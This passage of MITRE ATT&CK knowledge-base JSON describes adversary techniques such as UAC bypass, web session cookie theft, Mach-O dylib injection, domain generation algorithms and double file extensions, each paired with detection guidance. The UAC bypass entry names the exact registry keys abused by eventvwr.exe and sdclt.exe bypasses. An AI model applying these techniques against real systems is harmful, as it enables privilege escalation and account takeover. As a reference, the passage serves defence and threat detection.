McAfee","Daniel Oakley","Travis Smith, Tripwire"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--10d51417-ee35-4589-b1ff-b6df1c334e8d","type":"attack-pattern","created":"2017-05-31T21:31:44.421Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1133","url":"https://attack.mitre.org/techniques/T1133"},{"external_id":"CAPEC-555","source_name":"capec","url":"https://capec.mitre.org/data/definitions/555.html"},{"source_name":"MacOS VNC software for Remote Desktop","url":"https://support.apple.com/guide/remote-desktop/set-up-a-computer-running-vnc-software-apdbed09830/mac","description":"Apple Support. (n.d.). Set up a computer running VNC software for Remote Desktop. Retrieved August 18, 2021."},{"url":"https://www.volexity.com/blog/2015/10/07/virtual-private-keylogging-cisco-web-vpns-leveraged-for-access-and-persistence/","description":"Adair, S. (2015, October 7). Virtual Private Keylogging: Cisco Web VPNs Leveraged for Access and Persistence. Retrieved March 20, 2017.","source_name":"Volexity Virtual Private Keylogging"},{"source_name":"Trend Micro Exposed Docker Server","url":"https://www.trendmicro.com/en_us/research/20/f/xorddos-kaiji-botnet-malware-variants-target-exposed-docker-servers.html","description":"Remillano II, A., et al. (2020, June 20). XORDDoS, Kaiji Variants Target Exposed Docker Servers. Retrieved April 5, 2021."},{"source_name":"Unit 42 Hildegard Malware","url":"https://unit42.paloaltonetworks.com/hildegard-malware-teamtnt/","description":"Chen, J. et al. (2021, February 3). Hildegard: New TeamTNT Cryptojacking Malware Targeting Kubernetes. Retrieved April 5, 2021."}],"modified":"2021-08-19T16:57:27.209Z","name":"External Remote Services","description":"Adversaries may leverage external-facing remote services to initially access and/or persist within a network. Remote services such as VPNs, Citrix, and other access mechanisms allow users to connect to internal enterprise network resources from external locations. There are often remote service gateways that manage connections and credential authentication for these services. Services such as [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006) and [VNC](https://attack.mitre.org/techniques/T1021/005) can also be used externally.(Citation: MacOS VNC software for Remote Desktop)\n\nAccess to [Valid Accounts](https://attack.mitre.org/techniques/T1078) to use the service is often a requirement, which could be obtained through credential pharming or by obtaining the credentials from users after compromising the enterprise network.(Citation: Volexity Virtual Private Keylogging) Access to remote services may be used as a redundant or persistent access mechanism during an operation.\n\nAccess may also be gained through an exposed service that doesn’t require authentication. In containerized environments, this may include an exposed Docker API, Kubernetes API server, kubelet, or web application such as the Kubernetes dashboard.(Citation: Trend Micro Exposed Docker Server)(Citation: Unit 42 Hildegard Malware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"initial-access"}],"x_mitre_detection":"Follow best practices for detecting adversary use of [Valid Accounts](https://attack.mitre.org/techniques/T1078) for authenticating to remote services. Collect authentication logs and analyze for unusual access patterns, windows of activity, and access outside of normal business hours.\n\nWhen authentication is not required to access an exposed remote service, monitor for follow-on activities such as anomalous external use of the exposed API or application.","x_mitre_version":"2.3","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Logon Session: Logon Session Metadata","Application Log: Application Log Content"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--10d5f3b7-6be6-4da5-9a77-0f1e2bbfcc44","type":"attack-pattern","created":"2017-05-31T21:31:22.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1109","url":"https://attack.mitre.org/techniques/T1109"},{"description":"SanDisk. (n.d.). Self-Monitoring, Analysis and Reporting Technology (S.M.A.R.T.). Retrieved October 2, 2018.","source_name":"SanDisk SMART"},{"url":"https://www.smartmontools.org/","description":"smartmontools. (n.d.). smartmontools. Retrieved October 2, 2018.","source_name":"SmartMontools"},{"url":"https://www.itworld.com/article/2853992/3-tools-to-check-your-hard-drives-health-and-make-sure-its-not-already-dying-on-you.html","description":"Pinola, M. (2014, December 14). 3 tools to check your hard drive's health and make sure it's not already dying on you. Retrieved October 2, 2018.","source_name":"ITWorld Hard Disk Health Dec 2014"}],"modified":"2020-10-23T15:04:14.614Z","name":"Component Firmware","description":"Some adversaries may employ sophisticated means to compromise computer components and install malicious firmware that will execute adversary code outside of the operating system and main system firmware or BIOS. This technique may be similar to [System Firmware](https://attack.mitre.org/techniques/T1019) but conducted upon other system components that may not have the same capability or level of integrity checking. Malicious device firmware could provide both a persistent level of access to systems despite potential typical failures to maintain access and hard disk re-images, as well as a way to evade host software-based defenses and integrity checks.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Data and telemetry from use of device drivers (i.e. processes and API calls) and/or provided by SMART (Self-Monitoring, Analysis and Reporting Technology) (Citation: SanDisk SMART) (Citation: SmartMontools) disk monitoring may reveal malicious manipulations of components. Otherwise, this technique may be difficult to detect since malicious activity is taking place on system components possibly outside the purview of OS security and integrity mechanisms.\n\nDisk check and forensic utilities (Citation: ITWorld Hard Disk Health Dec 2014) may reveal indicators of malicious firmware such as strings, unexpected disk partition table entries, or blocks of otherwise unusual memory that warrant deeper investigation. Also consider comparing components, including hashes of component firmware and behavior, against known good images.","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":[],"x_mitre_defense_bypassed":["File monitoring","Host intrusion prevention systems","Anti-virus"],"x_mitre_permissions_required":["SYSTEM"],"x_mitre_system_requirements":["Ability to update component device firmware from the host operating system."]},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--10ff21b9-5a01-4268-a1b5-3b55015f1847","created":"2020-01-24T14:21:52.750Z","x_mitre_version":"1.0","external_references":[{"source_name":"mitre-attack","external_id":"T1546.006","url":"https://attack.mitre.org/techniques/T1546/006"},{"source_name":"Malware Persistence on OS X","url":"https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf","description":"Patrick Wardle. (2015). Malware Persistence on OS X Yosemite. Retrieved July 10, 2017."},{"source_name":"Writing Bad Malware for OSX","url":"https://www.blackhat.com/docs/us-15/materials/us-15-Wardle-Writing-Bad-A-Malware-For-OS-X.pdf","description":"Patrick Wardle. (2015). Writing Bad @$$ Malware for OS X. Retrieved July 10, 2017."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may establish persistence by executing malicious content triggered by the execution of tainted binaries. Mach-O binaries have a series of headers that are used to perform certain operations when a binary is loaded. The LC_LOAD_DYLIB header in a Mach-O binary tells macOS and OS X which dynamic libraries (dylibs) to load during execution time. These can be added ad-hoc to the compiled binary as long as adjustments are made to the rest of the fields and dependencies.(Citation: Writing Bad Malware for OSX) There are tools available to perform these changes.\n\nAdversaries may modify Mach-O binary headers to load and execute malicious dylibs every time the binary is executed. Although any changes will invalidate digital signatures on binaries because the binary is being modified, this can be remediated by simply removing the LC_CODE_SIGNATURE command from the binary so that the signature isn’t checked at load time.(Citation: Malware Persistence on OS X)","modified":"2022-04-20T17:08:21.101Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"LC_LOAD_DYLIB Addition","x_mitre_detection":"Monitor processes for those that may be used to modify binary headers. Monitor file systems for changes to application binaries and invalid checksums/signatures. Changes to binaries that do not line up with application updates or patches are also extremely suspicious.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["File: File Modification","Command: Command Execution","Process: Process Creation","File: File Metadata","Module: Module Load"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["User"],"x_mitre_effective_permissions":[],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","macOS","Windows","Office 365","SaaS","Google Workspace"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Microsoft Threat Intelligence Center (MSTIC)","Johann Rehberger"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--10ffac09-e42d-4f56-ab20-db94c67d76ff","type":"attack-pattern","created":"2019-10-08T20:04:35.508Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1539","url":"https://attack.mitre.org/techniques/T1539"},{"description":"Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.","url":"https://wunderwuzzi23.github.io/blog/passthecookie.html","source_name":"Pass The Cookie"},{"source_name":"Kaspersky TajMahal April 2019","url":"https://securelist.com/project-tajmahal/90240/","description":"GReAT. (2019, April 10). Project TajMahal – a sophisticated new APT framework. Retrieved October 14, 2019."},{"source_name":"Unit 42 Mac Crypto Cookies January 2019","url":"https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/","description":"Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019."},{"description":"Gretzky, Kuba. (2019, April 10). Retrieved October 8, 2019.","url":"https://github.com/kgretzky/evilginx2","source_name":"Github evilginx2"},{"source_name":"GitHub Mauraena","url":"https://github.com/muraenateam/muraena","description":"Orrù, M., Trotta, G.. (2019, September 11). Muraena. Retrieved October 14, 2019."}],"modified":"2021-07-28T01:26:51.971Z","name":"Steal Web Session Cookie","description":"An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.\n\nCookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)\n\nThere are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) There are also open source frameworks such as Evilginx 2 and Muraena that can gather session cookies through a malicious proxy (ex: [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)\n\nAfter an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_detection":"Monitor for attempts to access files and repositories on a local system that are used to store browser session cookies. Monitor for attempts by programs to inject into or dump browser process memory.","x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Process: Process Access","File: File Access"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Containers"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Center for Threat-Informed Defense (CTID)","Vishwas Manral, McAfee","Yossi Weizman, Azure Defender Research Team"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--1126cab1-c700-412f-a510-61f4937bb096","type":"attack-pattern","created":"2021-03-29T17:06:22.247Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1053.007","url":"https://attack.mitre.org/techniques/T1053/007"},{"source_name":"Kubernetes Jobs","url":"https://kubernetes.io/docs/concepts/workloads/controllers/job/","description":"The Kubernetes Authors. (n.d.). Kubernetes Jobs. Retrieved March 30, 2021."},{"source_name":"Kubernetes CronJob","url":"https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/","description":"The Kubernetes Authors. (n.d.). Kubernetes CronJob. Retrieved March 29, 2021."},{"source_name":"Threat Matrix for Kubernetes","url":"https://www.microsoft.com/security/blog/2020/04/02/attack-matrix-kubernetes/","description":"Weizman, Y. (2020, April 2). Threat Matrix for Kubernetes. Retrieved March 30, 2021."}],"modified":"2022-04-01T13:06:58.794Z","name":"Container Orchestration Job","description":"Adversaries may abuse task scheduling functionality provided by container orchestration tools such as Kubernetes to schedule deployment of containers configured to execute malicious code. Container orchestration jobs run these automated tasks at a specific date and time, similar to cron jobs on a Linux system. Deployments of this type can also be configured to maintain a quantity of containers over time, automating the process of maintaining persistence within a cluster.\n\nIn Kubernetes, a CronJob may be used to schedule a Job that runs one or more containers to perform specific tasks.(Citation: Kubernetes Jobs)(Citation: Kubernetes CronJob) An adversary therefore may utilize a CronJob to schedule deployment of a Job that executes malicious code in various nodes within a cluster.(Citation: Threat Matrix for Kubernetes)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"execution"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_detection":"Monitor for the anomalous creation of scheduled jobs in container orchestration environments. Use logging agents on Kubernetes nodes and retrieve logs from sidecar proxies for application and resource pods to monitor malicious container orchestration job deployments. ","x_mitre_is_subtechnique":true,"x_mitre_version":"1.2","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","Container: Container Creation","Scheduled Job: Scheduled Job Creation"],"x_mitre_permissions_required":["User"],"x_mitre_remote_support":true},{"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Ryan Benson, Exabeam","Barry Shteiman, Exabeam","Sylvain Gil, Exabeam"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--118f61a5-eb3e-4fb6-931f-2096647f4ecd","type":"attack-pattern","created":"2020-03-10T17:44:59.787Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1568.002","url":"https://attack.mitre.org/techniques/T1568/002"},{"source_name":"Cybereason Dissecting DGAs","url":"http://go.cybereason.com/rs/996-YZT-709/images/Cybereason-Lab-Analysis-Dissecting-DGAs-Eight-Real-World-DGA-Variants.pdf","description":"Sternfeld, U. (2016). Dissecting Domain Generation Algorithms: Eight Real World DGA Variants. Retrieved February 18, 2019."},{"source_name":"Cisco Umbrella DGA","url":"https://umbrella.cisco.com/blog/2016/10/10/domain-generation-algorithms-effective/","description":"Scarfo, A. (2016, October 10). Domain Generation Algorithms – Why so effective?. Retrieved February 18, 2019."},{"source_name":"Unit 42 DGA Feb 2019","url":"https://unit42.paloaltonetworks.com/threat-brief-understanding-domain-generation-algorithms-dga/","description":"Unit 42. (2019, February 7). Threat Brief: Understanding Domain Generation Algorithms (DGA). Retrieved February 19, 2019."},{"url":"http://blog.talosintelligence.com/2017/09/avast-distributes-malware.html","description":"Brumaghin, E. et al. (2017, September 18). CCleanup: A Vast Number of Machines at Risk. Retrieved March 9, 2018.","source_name":"Talos CCleanup 2017"},{"source_name":"Akamai DGA Mitigation","url":"https://blogs.akamai.com/2018/01/a-death-match-of-domain-generation-algorithms.html","description":"Liu, H. and Yuzifovich, Y. (2018, January 9). A Death Match of Domain Generation Algorithms. Retrieved February 18, 2019."},{"url":"https://www.fireeye.com/blog/threat-research/2017/03/dissecting_one_ofap.html","description":"Dunwoody, M.. (2017, April 3). Dissecting One of APT29’s Fileless WMI and PowerShell Backdoors (POSHSPY). Retrieved April 5, 2017.","source_name":"FireEye POSHSPY April 2017"},{"source_name":"ESET Sednit 2017 Activity","url":"https://www.welivesecurity.com/2017/12/21/sednit-update-fancy-bear-spent-year/","description":"ESET. (2017, December 21). Sednit update: How Fancy Bear Spent the Year. Retrieved February 18, 2019."},{"source_name":"Data Driven Security DGA","url":"https://datadrivensecurity.info/blog/posts/2014/Oct/dga-part2/","description":"Jacobs, J. (2014, October 2). Building a DGA Classifier: Part 2, Feature Engineering. Retrieved February 18, 2019."},{"source_name":"Pace University Detecting DGA May 2017","url":"http://csis.pace.edu/~ctappert/srd2017/2017PDF/d4.pdf","description":"Chen, L., Wang, T.. (2017, May 5). Detecting Algorithmically Generated Domains Using Data Visualization and N-Grams Methods . Retrieved April 26, 2019."},{"source_name":"Elastic Predicting DGA","url":"https://arxiv.org/pdf/1611.00791.pdf","description":"Ahuja, A., Anderson, H., Grant, D., Woodbridge, J.. (2016, November 2). Predicting Domain Generation Algorithms with Long Short-Term Memory Networks. Retrieved April 26, 2019."}],"modified":"2022-03-11T18:26:23.432Z","name":"Domain Generation Algorithms","description":"Adversaries may make use of Domain Generation Algorithms (DGAs) to dynamically identify a destination domain for command and control traffic rather than relying on a list of static IP addresses or domains. This has the advantage of making it much harder for defenders to block, track, or take over the command and control channel, as there potentially could be thousands of domains that malware can check for instructions.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Unit 42 DGA Feb 2019)\n\nDGAs can take the form of apparently random or “gibberish” strings (ex: istgmxdejdnxuyla.ru) when they construct domain names by generating each letter. Alternatively, some DGAs employ whole words as the unit by concatenating words together instead of letters (ex: cityjulydish.net). Many DGAs are time-based, generating a different domain for each time period (hourly, daily, monthly, etc). Others incorporate a seed value as well to make predicting future domains more difficult for defenders.(Citation: Cybereason Dissecting DGAs)(Citation: Cisco Umbrella DGA)(Citation: Talos CCleanup 2017)(Citation: Akamai DGA Mitigation)\n\nAdversaries may use DGAs for the purpose of [Fallback Channels](https://attack.mitre.org/techniques/T1008). When contact is lost with the primary command and control server malware may employ a DGA as a means to reestablishing command and control.(Citation: Talos CCleanup 2017)(Citation: FireEye POSHSPY April 2017)(Citation: ESET Sednit 2017 Activity)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_detection":"Detecting dynamically generated domains can be challenging due to the number of different DGA algorithms, constantly evolving malware families, and the increasing complexity of the algorithms. There is a myriad of approaches for detecting a pseudo-randomly generated domain name, including using frequency analysis, Markov chains, entropy, proportion of dictionary words, ratio of vowels to other characters, and more.(Citation: Data Driven Security DGA) CDN domains may trigger these detections due to the format of their domain names. In addition to detecting a DGA domain based on the name, another more general approach for detecting a suspicious domain is to check for recently registered names or for rarely visited domains.\n\nMachine learning approaches to detecting DGA domains have been developed and have seen success in applications. One approach is to use N-Gram methods to determine a randomness score for strings used in the domain name. If the randomness score is high, and the domains are not whitelisted (CDN, etc), then it may be determined if a domain is related to a legitimate host or DGA.(Citation: Pace University Detecting DGA May 2017) Another approach is to use deep learning to classify domains as DGA-generated.(Citation: Elastic Predicting DGA)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Network Traffic: Network Traffic Flow","Network Traffic: Network Connection Creation"],"x_mitre_permissions_required":["User"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":[],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--11f29a39-0942-4d62-92b6-fe236cf3066e","type":"attack-pattern","created":"2021-08-04T20:54:03.066Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1036.007","url":"https://attack.mitre.org/techniques/T1036/007"},{"source_name":"PCMag DoubleExtension","url":"https://www.pcmag.com/encyclopedia/term/double-extension","description":"PCMag. (n.d.). Encyclopedia: double extension. Retrieved August 4, 2021."},{"source_name":"SOCPrime DoubleExtension","url":"https://socprime.com/blog/rule-of-the-week-possible-malicious-file-double-extension/","description":"Eugene Tkachenko. (2020, May 1). Rule of the Week: Possible Malicious File Double Extension. Retrieved July 27, 2021."},{"source_name":"Seqrite DoubleExtension","url":"https://www.seqrite.com/blog/how-to-avoid-dual-attack-and-vulnerable-files-with-double-extension/","description":"Seqrite. (n.d.). How to avoid dual attack and vulnerable files with double extension?. Retrieved July 27, 2021."}],"modified":"2021-10-14T21:09:59.588Z","name":"Double File Extension","description":"Adversaries may abuse a double extension in the filename as a means of masquerading the true file type. A file name may include a secondary file type extension that may cause only the first extension to be displayed (ex: <code>File.txt.exe</code> may render in some views as just <code>File.txt</code>). However, the second extension is the true file type that determines how the file is opened and executed. The real file extension may be hidden by the operating system in the file browser (ex: explorer.exe), as well as in any software configured using or similar to the system’s policies.(Citation: PCMag DoubleExtension)(Citation: SOCPrime DoubleExtension) \n\nAdversaries may abuse double extensions to attempt to conceal dangerous file types of payloads. A very common usage involves tricking a user into opening what they think is a benign file type but is actually executable code. Such files often pose as email attachments and allow an adversary to gain [Initial Access](https://attack.mitre.org/tactics/TA0001) into a user’s system via [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) then [User Execution](https://attack.mitre.org/techniques/T1204). For example, an executable file attachment named <code>Evil.txt.exe</code> may display as <code>Evil.txt</code> to a user. The user may then view it as a benign text file and open it, inadvertently executing the hidden malware.(Citation: SOCPrime DoubleExtension)\n\nCommon file types, such as text files (.txt, .doc, etc.) and image files (.jpg, .gif, etc.) are typically used as the first extension to appear benign. Executable extensions commonly regarded as dangerous, such as .exe, .lnk, .hta, and .scr, often appear as the second extension and true file type.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor for files written to disk that contain two file extensions, particularly when the second is an executable.(Citation: Seqrite DoubleExtension)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["File: File Creation","File: File Metadata"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Stefan Kanthak","Casey Smith"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"type":"attack-pattern","id":"attack-pattern--120d5519-3098-4e1c-9191-2aa61232f073","created":"2020-01-30T14:24:34.977Z","x_mitre_version":"2.0","external_references":[{"source_name":"mitre-attack","external_id":"T1548.002","url":"https://attack.mitre.org/techniques/T1548/002"},{"source_name":"Davidson Windows","url":"http://www.pretentiousname.com/misc/win7_uac_whitelist2.html","description":"Davidson, L. (n.d.). Windows 7 UAC whitelist. Retrieved November 12, 2014."},{"source_name":"TechNet How UAC Works","url":"https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works","description":"Lich, B. (2016, May 31). How User Account Control Works. Retrieved June 3, 2016."},{"source_name":"SANS UAC Bypass","url":"http://pen-testing.sans.org/blog/pen-testing/2013/08/08/psexec-uac-bypass","description":"Medin, T. (2013, August 8). PsExec UAC Bypass. Retrieved June 3, 2016."},{"source_name":"MSDN COM Elevation","url":"https://msdn.microsoft.com/en-us/library/ms679687.aspx","description":"Microsoft. (n.d.). The COM Elevation Moniker. Retrieved July 26, 2016."},{"source_name":"enigma0x3 Fileless UAC Bypass","url":"https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/","description":"Nelson, M. (2016, August 15). \"Fileless\" UAC Bypass using eventvwr.exe and Registry Hijacking. Retrieved December 27, 2016."},{"source_name":"enigma0x3 sdclt app paths","url":"https://enigma0x3.net/2017/03/14/bypassing-uac-using-app-paths/","description":"Nelson, M. (2017, March 14). Bypassing UAC using App Paths. Retrieved May 25, 2017."},{"source_name":"enigma0x3 sdclt bypass","url":"https://enigma0x3.net/2017/03/17/fileless-uac-bypass-using-sdclt-exe/","description":"Nelson, M. (2017, March 17). \"Fileless\" UAC Bypass Using sdclt.exe. Retrieved May 25, 2017."},{"source_name":"TechNet Inside UAC","url":"https://technet.microsoft.com/en-US/magazine/2009.07.uac.aspx","description":"Russinovich, M. (2009, July). User Account Control: Inside Windows 7 User Account Control. Retrieved July 26, 2016."},{"source_name":"Fortinet Fareit","url":"https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware","description":"Salvio, J., Joven, R. (2016, December 16). Malicious Macro Bypasses UAC to Elevate Privilege for Fareit Malware. Retrieved December 27, 2016."},{"source_name":"Github UACMe","url":"https://github.com/hfiref0x/UACME","description":"UACME Project. (2016, June 16). UACMe. Retrieved July 26, 2016."}],"x_mitre_deprecated":false,"revoked":false,"description":"Adversaries may bypass UAC mechanisms to elevate process privileges on system. Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as integrity levels ranging from low to high) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. The impact to the user ranges from denying the operation under high enforcement to allowing the user to perform the action if they are in the local administrators group and click through the prompt or allowing them to enter an administrator password to complete the action.(Citation: TechNet How UAC Works)\n\nIf the UAC protection level of a computer is set to anything but the highest level, certain Windows programs can elevate privileges or execute some elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) objects without prompting the user through the UAC notification box.(Citation: TechNet Inside UAC)(Citation: MSDN COM Elevation) An example of this is use of [Rundll32](https://attack.mitre.org/techniques/T1218/011) to load a specifically crafted DLL which loads an auto-elevated [Component Object Model](https://attack.mitre.org/techniques/T1559/001) object and performs a file operation in a protected directory which would typically require elevated access. Malicious software may also be injected into a trusted process to gain elevated privileges without prompting a user.(Citation: Davidson Windows)\n\nMany methods have been discovered to bypass UAC. The Github readme page for UACME contains an extensive list of methods(Citation: Github UACMe) that have been discovered and implemented, but may not be a comprehensive list of bypasses. Additional bypass methods are regularly discovered and some used in the wild, such as:\n\n* <code>eventvwr.exe</code> can auto-elevate and execute a specified binary or script.(Citation: enigma0x3 Fileless UAC Bypass)(Citation: Fortinet Fareit)\n\nAnother bypass is possible through some lateral movement techniques if credentials for an account with administrator privileges are known, since UAC is a single system security mechanism, and the privilege or integrity of a process running on one system will be unknown on remote systems and default to high integrity.(Citation: SANS UAC Bypass)","modified":"2022-04-19T15:11:20.036Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","name":"Bypass User Account Control","x_mitre_detection":"There are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Monitor process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes.\n\nSome UAC bypass methods rely on modifying specific, user-accessible Registry settings. For example:\n\n* The <code>eventvwr.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Classes\\mscfile\\shell\\open\\command</code> Registry key.(Citation: enigma0x3 Fileless UAC Bypass)\n\n* The <code>sdclt.exe</code> bypass uses the <code>[HKEY_CURRENT_USER]\\Software\\Microsoft\\Windows\\CurrentVersion\\App Paths\\control.exe</code> and <code>[HKEY_CURRENT_USER]\\Software\\Classes\\exefile\\shell\\runas\\command\\isolatedCommand</code> Registry keys.(Citation: enigma0x3 sdclt app paths)(Citation: enigma0x3 sdclt bypass)\n\nAnalysts should monitor these Registry settings for unauthorized changes.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"},{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_is_subtechnique":true,"x_mitre_data_sources":["Command: Command Execution","Windows Registry: Windows Registry Key Modification","Process: Process Metadata","Process: Process Creation"],"x_mitre_system_requirements":[],"x_mitre_permissions_required":["Administrator","User"],"x_mitre_effective_permissions":["Administrator"],"x_mitre_defense_bypassed":["Windows User Account Control"],"x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Linux","Windows","macOS"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Romain Dumont, ESET"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--128c55d3-aeba-469f-bd3e-c8996ab4112a","type":"attack-pattern","created":"2017-05-31T21:31:12.675Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1099","url":"https://attack.mitre.org/techniques/T1099"},{"url":"http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html","description":"Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.","source_name":"WindowsIR Anti-Forensic Techniques"}],"modified":"2020-02-18T16:56:57.039Z","name":"Timestomp","description":"Adversaries may take actions to hide the deployment of new, or modification of existing files to obfuscate their activities. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools. (Citation: WindowsIR Anti-Forensic 